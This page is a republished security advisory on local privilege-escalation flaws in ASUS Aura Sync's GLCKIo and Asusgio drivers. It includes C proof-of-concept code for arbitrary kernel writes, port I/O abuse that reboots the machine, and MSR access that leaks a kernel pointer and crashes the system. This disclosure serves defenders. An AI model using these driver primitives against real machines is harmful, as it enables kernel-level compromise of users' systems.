Lucene search

K
zdtCore Security1337DAY-ID-31836
HistoryDec 23, 2018 - 12:00 a.m.

ASUS Aura Sync versions 1.07.22 Driver Privilege Escalation Exploit

2018-12-2300:00:00
Core Security
0day.today
324

0.001 Low

EPSS

Percentile

26.6%

Multiple vulnerabilities were found in the GLCKIo and Asusgio drivers installed by ASUS Aura Sync, which could allow a local attacker to elevate privileges. ASUS Aura Sync versions 1.07.22 and below are affected.

ASUS Drivers Elevation of Privilege Vulnerabilities

*1. *Advisory Information**

Title: ASUS Drivers Elevation of Privilege Vulnerabilities
Advisory ID: CORE-2017-0012
Advisory URL:
http://www.secureauth.com/labs/advisories/asus-drivers-elevation-privilege-vulnerabilities
Date published: 2018-12-18
Date of last update: 2018-12-18
Vendors contacted: Asus
Release mode: User release

*2. *Vulnerability Information**

Class: Exposed IOCTL with Insufficient Access Control [CWE-782],
Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL
with Insufficient Access Control [CWE-782]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-18537, CVE-2018-18536, CVE-2018-18535

*3. *Vulnerability Description**

ASUS offers several drivers and utilities [1] in order to give the user
more control over certain settings and functions of the motherboard.
In particular, ASUS Aura Sync takes RGB lighting beyond the checkbox,
combining and controlling the LEDs of all your Aura-enabled products
from a single application to achieve perfect, synchronized harmony. From
motherboards and RGB strips to graphics cards and beyond, Aura Sync
enables a veritable symphony of light for ultimate personalization.

Multiple vulnerabilities were found in the GLCKIo and Asusgio drivers
installed by ASUS Aura Sync, which could allow a local attacker to
elevate privileges.

*4. *Vulnerable Packages**

. ASUS Aura Sync v1.07.22 and previous versions
Other products and versions might be affected, but they were not tested.

*5. *Vendor Information, Solutions and Workarounds**

The vendor did not provide fixes or workaround information.

*6. *Credits**

These vulnerabilities were discovered and researched by Diego Juarez.
The publication of this advisory was coordinated by Leandro Cuozzo from
SecureAuth Advisories Team.

*7. *Technical Description / Proof of Concept Code**

Aura Sync is ASUS's command software for all their line of recent RGB
lighting enabled devices (motherboards/graphics cards/keyboards/mice/etc).

The main subject of this advisory are two of the device drivers
installed/loaded by the Aura Sync application. From now on addressed as
"Asusgio" and "GLCKIo". Default installation allows non-privileged user
processes (even running at LOW INTEGRITY) to get a HANDLE and issue
IOCTL codes to these drivers.

The following sections describe the problems found.

*7.1. *Arbitrary ring0 write**

[CVE-2018-18537]
There is a path in the processing of IOCTL_GLCKIO_READPORT (0x80102050)
on GLCKIo leading to write of arbitrary DWORD to an arbitrary address.

/-----
.text:FFFFF800B09F13FE loc_FFFFF800B09F13FE:
.text:FFFFF800B09F13FE                 mov     rax, [rsp+0C8h+var_38]  
; CONTROLLED VALUE
.text:FFFFF800B09F1406                 mov     ecx, [rsp+0C8h+var_56]  
; CONTROLLED VALUE
.text:FFFFF800B09F140A                 mov     [rax], ecx              
; Arbitrary DWORD sized write!
.text:FFFFF800B09F140C                 mov     rax, [rsp+0C8h+Irp]
.text:FFFFF800B09F1414                 mov     qword ptr [rax+38h], 4
.text:FFFFF800B09F141C                 jmp     short loc_FFFFF800B09F142D
-----/

Proof of Concept:
/-----
#include <windows.h>
HANDLE ghDriver = 0;

#define IOCTL_GLCKIO_VMWRITE 0x80102050

typedef struct _STRUCT_GLCKIO_VMWRITE {
    WORD unk0;
    DWORD unk1_1;
    WORD unk1_2;
    ULONG64 unk2;
    ULONG64 unk3;
    ULONG64 unk4;
    ULONG64 unk5;
    ULONG64 unk6;
} STRUCT_GLCKIO_VMWRITE;

BOOL ArbitraryWriteDWORD(ULONG64 dest, DWORD value)
{
    STRUCT_GLCKIO_VMWRITE mystructIn = { 0 };
    mystructIn.unk0 = 0xf11;
    mystructIn.unk1_1 = value;    // value
    mystructIn.unk5 = dest;        // address

    STRUCT_GLCKIO_VMWRITE mystructOut = { 0 };

    DWORD returned = 0;

    DeviceIoControl(ghDriver, IOCTL_GLCKIO_VMWRITE, (LPVOID)&mystructIn,
sizeof(mystructIn), (LPVOID)&mystructOut, sizeof(mystructOut),
&returned, NULL);
    return BOOL(returned);
}

BOOL InitDriver()
{
    ghDriver = CreateFile("\\\\.\\GLCKIo", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
    if (ghDriver == INVALID_HANDLE_VALUE) {
        printf("Cannot get handle to GLCKIo driver - GetLastError:%d\n",
GetLastError());
        return FALSE;
    }
    return TRUE;
}

int _tmain(int argc, _TCHAR* argv[])
{
    printf("ASUS Aura Sync PoC (arbitrary ring0 write)\n");

    if (!InitDriver()) {
        exit(0);
    }

    printf("press ENTER for instant BSOD\n");
    getchar();
    ArbitraryWriteDWORD(0, 0xffffffff);

    CloseHandle(ghDriver);
    return 0;
}
-----/

*7.2. *Port mapped I/O access**

[CVE-2018-18536]
Both GLCKIo and Asusgio expose a functionality to read/write data
from/to IO ports. This could be leveraged in a number of ways to
ultimately run code with elevated privileges.

/-----
// This harmless PoC only reboots the PC, much more sinister stuff
// would also be possible by abusing this functionality.

// Compile for 32bit!!! Asusgio apparently has a bug preventing this
// functionality to work unless IoIs32bitProcess == TRUE. They set rdx
// as a pointer instead of a port number on the in/out instruction...
// and they ONLY do this incorrectly in the x64 process specific code.(!?)

#include "stdafx.h"
#include <windows.h>

// for \\.\glckio
#define IOCTL_GLCKIO_WRITEPORT 0x80102054
#define IOCTL_GLCKIO_READPORT  0x80102050

// for \\.\Asusgio
#define IOCTL_ASIO_PORTREADB 0xA0406400
#define IOCTL_ASIO_PORTWRITEB 0xA040A440

HANDLE ghDriver = 0;

typedef BYTE(*fnPMIOReadB)(WORD port);
typedef BYTE(*fnPMIOWriteB)(WORD port, BYTE value);

#pragma pack (push,1)

typedef struct  {
    DWORD DriverIndex;        // DriverEnum index
    BYTE DeviceName[MAX_PATH];
    fnPMIOReadB pPMIOReadB;
    fnPMIOWriteB pPMIOWriteB;
} AutoConfigStruct;

AutoConfigStruct gConfig = { 0 };

enum DriverEnum {
    ASIO = 1,
    GLCKIO,
};

typedef struct _ASIO_PORTIO_STRUCT {
    DWORD port;
    ULONG64 value;
} ASIO_PORTIO_STRUCT;

typedef struct _GLCKIO_PORTIO_STRUCT {
    WORD port;
    DWORD value;
    DWORD datalen;
} GLCKIO_PORTIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
    BYTE outbuffer[0x30] = { 0 };    \
    DWORD returned = 0;    \
    DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);    \
    return outbuffer[0];    \

BYTE GLCKIO_PMIOReadB(WORD port)
{
    GLCKIO_PORTIO_STRUCT inbuffer = { port, 0, 1};
    IOCTLMACRO(IOCTL_GLCKIO_READPORT, 10)
}

BYTE GLCKIO_PMIOWriteB(WORD port, BYTE value)
{
    GLCKIO_PORTIO_STRUCT inbuffer = { port, value, 1 };
    IOCTLMACRO(IOCTL_GLCKIO_WRITEPORT, 10)
}

BYTE ASIO_PMIOReadB(WORD port)
{
    ASIO_PORTIO_STRUCT inbuffer = { port, 0 };
    IOCTLMACRO(IOCTL_ASIO_PORTREADB, 4)
}

BYTE ASIO_PMIOWriteB(WORD port, BYTE value)
{
    ASIO_PORTIO_STRUCT inbuffer = { port, value };
    IOCTLMACRO(IOCTL_ASIO_PORTWRITEB, 5)
}

void Reboot()
{
    BYTE cf9 = gConfig.pPMIOReadB(0xcf9) & ~0x6;
    gConfig.pPMIOWriteB(0xcf9, cf9 | 2);
    Sleep(50);
    gConfig.pPMIOWriteB(0xcf9, cf9 | 0xe);
    Sleep(50);
}

BOOL InitDriver()
{
    char *szDeviceNames[] = { "\\\\.\\Asusgio" , "\\\\.\\GLCKIo" };
    BYTE i = 0;
    for (i = 0; i<2; i++) {
        ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

        if (ghDriver == INVALID_HANDLE_VALUE) {
            printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", szDeviceNames[i], GetLastError());
            continue;
        }

        gConfig.DriverIndex = i+1;
        memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH-1);
        break;
    }

    switch (gConfig.DriverIndex) {
        case DriverEnum::ASIO:
            {
                gConfig.pPMIOReadB = (fnPMIOReadB)ASIO_PMIOReadB;
                gConfig.pPMIOWriteB = (fnPMIOWriteB)ASIO_PMIOWriteB;
            }
            break;

        case DriverEnum::GLCKIO:
            {
                gConfig.pPMIOReadB = (fnPMIOReadB)GLCKIO_PMIOReadB;
            }
                gConfig.pPMIOWriteB = (fnPMIOWriteB)GLCKIO_PMIOWriteB;
            break;

        default:
            break;
    }

    return gConfig.DriverIndex ? TRUE : FALSE;
}

int _tmain(int argc, _TCHAR* argv[])
{
    printf("ASUS Aura Sync PoC (PMIO access)\n");
   
    if (!InitDriver()) {
        printf("InitDriver failed! - aborting...\n");
        exit(0);
    }

    printf("DeviceName: \'%s\' Handle: %08x\n", gConfig.DeviceName,
(DWORD)ghDriver);
    printf("press ENTER for hard reset...");
    getchar();
    Reboot();
    CloseHandle(ghDriver);
}
-----/

*7.3. *MSR Register access**

[CVE-2018-18535]
Asusgio exposes a functionality to read and write Machine Specific
Registers (MSRs). This could be leveraged to execute arbitrary ring-0
code.
       
Proof of Concept:

/-----
// This PoC demonstrates insecure access to MSRs by reading IA32_LSTAR
// register value (leaks a kernel function pointer bypassing KASLR) and
// then writing garbage to it (instant BSOD!)

#include <windows.h>

// for \\.\Asusgio
#define IOCTL_ASIO_RDMSR 0xA0406458
#define IOCTL_ASIO_WRMSR 0xA040A45C

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASIO_MSRIO_STRUCT {
    DWORD reg;
    ULONG64 value;
} ASIO_MSRIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
    ULONG64 outbuffer[2] = { 0 };    \
    DWORD returned = 0;    \
    DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);    \
    return outbuffer[0];    \

ULONG64 ASIO_RDMSR(DWORD reg)
{
    ASIO_MSRIO_STRUCT inbuffer = { reg };
    IOCTLMACRO(IOCTL_ASIO_RDMSR, 4)
}

ULONG64 ASIO_WRMSR(DWORD reg, ULONG64 value)
{
    ASIO_MSRIO_STRUCT inbuffer = { reg, value };
    IOCTLMACRO(IOCTL_ASIO_WRMSR, 12)
}

BOOL InitDriver()
{
        ghDriver = CreateFile("\\\\.\\Asusgio", GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

        if (ghDriver == INVALID_HANDLE_VALUE) {
            printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", "\\\\.\\Asusgio", GetLastError());
            return FALSE;
        }

    return TRUE;
}

int _tmain(int argc, _TCHAR* argv[])
{
    printf("ASUS Aura Sync PoC (MSR access)\n");
   
    if (!InitDriver()) {
        printf("InitDriver failed! - aborting...\n");
        exit(0);
    }

    ULONG64 IA32_LSTAR = ASIO_RDMSR(0xC0000082);
    printf("IA32_LSTAR: %llx (should be nt!KiSystemCall64)\n", IA32_LSTAR);
    printf("press ENTER for instant BSOD\n");
    getchar();
    a = ASIO_WRMSR(0xC0000082, 0xffff1111ffff2222);
    CloseHandle(ghDriver);
}
-----/

#  0day.today [2018-12-27]  #

0.001 Low

EPSS

Percentile

26.6%

Related for 1337DAY-ID-31836